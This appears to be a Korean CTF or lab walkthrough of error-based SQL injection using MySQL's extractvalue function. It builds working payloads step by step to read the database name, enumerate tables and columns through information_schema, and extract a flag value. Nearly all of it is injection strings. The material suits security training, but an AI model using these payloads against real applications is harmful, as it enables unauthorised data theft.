SQL Injection (Error Based SQLi Basic) - extractvalue
SQL 포인트 찾기
우리가 원하는 SQL 에러가 화면에 출력되고 있는지 확인한다.
에러를 출력 함수
extractvalue
공격 format 만들기
normaltic’ and extractvalue(’1’, concat(0x3a, (_____))) and ‘1’=’1
normaltic’ and extractvalue(’1’, concat(0x3a, (select ‘normaltic’))) and ‘1’=’1
DB 이름 출력해보기 : errSqli
normaltic’ and extractvalue(’1’,concat(0x3a, (______select database()_____))) and ‘1’=’1
normaltic’
normaltic' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
table 이름 알아내기
select table_name from information_schema.tables where table_schema=’errSqli’
normaltic' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=’errSqli’))) and '1'='1
normaltic' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=’errSqli’ limit 0,1))) and '1'='1
flagTable → member → plusFlag_Table → 존재하지않는 아이디입니다.
컬럼이름 추출하기
normaltic' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1
idx → flag → 존재하지 않는 아이디입니다.
데이터 추출하기
flagTable 테이블에 있는 flag라는 열의 데이터를 추출
normaltic' and extractvalue('1',concat(0x3a,(select flag from flagTable limit 0,1))) and '1'='1